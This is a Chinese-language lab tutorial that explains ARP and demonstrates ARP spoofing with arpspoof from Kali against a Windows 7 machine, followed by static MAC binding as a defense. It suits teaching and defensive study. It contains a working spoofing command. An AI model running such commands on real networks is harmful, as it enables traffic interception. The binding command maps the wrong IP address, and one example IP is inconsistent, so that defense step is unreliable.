网络基础之ARP攻击
ARP:
ARP(Address Resolution Protocol)地址转换协议,工作在 OSI 模型的数据链路层,在以太网中,网络设备之间互相通信是用 MAC 地址而不是 IP 地址, ARP 协议就是用来把 IP 地址转换为 MAC 地址的。而 RARP 和 ARP 相反,它是反向地址转换协议,把 MAC 地址转换为 IP 地址。
假设 A(192.168.1.2)与 B(192.168.1.3)在同一局域网,A 要和 B 实现通信。A 首先会发送一个数据包到广播地址(192.168.1.255),该数据包中包含了源 IP(A)、源 MAC、目的 IP(B)、目的 MAC,这个数据包会被发放给局域网中所有的主机,但是只有 B 主机会回复一个包含了源 IP(B)、源 MAC、目的 IP(A)、目的 MAC 的数据包给 A,同时 A 主机会将返回的这个地址保存在 ARP 缓存表中。
实验环境:
攻击机:kali
靶机:Windows 7
实验步骤:
- 查看IP地址:
1.Kali Linux: ifconfig eth0
从截图中可以看出Kali linux的IP地址是192.168.2.129
2.Windows7: ipconfig
从截图中可以看出windows7的IP地址是192.168.2.130
判断2台主机IP地址属于同一网段
- 连通性测试:
1.Windows 7:关闭防火墙
2.Kali Linux:ping Windows7的IP地址
- Windows7上网测试:
打开IE浏览器---在地址栏中输入---http://www.baidu.com(能看到百度页面)
执行:ipconfig
- 查看网关IP地址,看到的网关IP地址为: 192.168.2.2
执行:arp -a
- 查看网关IP地址对应的MAC地址, MAC地址:00-50-56-f9-d9-89
- ARP攻击:
Kali Linux:arpspoof -i eth0 -t 192.168.2.130 -r 192.168.2.2
- 查看攻击效果:
Windows 7:arp -a (查看网关的MAC地址是否已经变化,有变化,说明攻击成功)
- MAC地址绑定:
1.Kali Linux:终止ARP攻击
2.Windows 7:
arp -a (网关MAC地址重新变回正确的地址)
- 防止ARP攻击
1.Windows7中添加MAC地址
首先查询本地idx
netsh i i show in
已知本机idx为11
2.添加MAC地址
Netsh -c “i i” add neighbors 11 192.168.2.130 00-50-56-f9-d9-89,
Arp -a 查询添加情况
再次执行ARP攻击:
Kali Linux:arpspoof -i eth0 -t Win7的IP地址 -r 网关地址或内网中其他主机的IP地址
例如:arpspoof -i eth0 -t 192.168.26.130 -r 192.168.2.2
- 再次查看网关MAC地址:
Windows7:
arp -a (查看网关MAC地址是否被改变,如果未改变,说明MAC地址的静态绑定成功了。)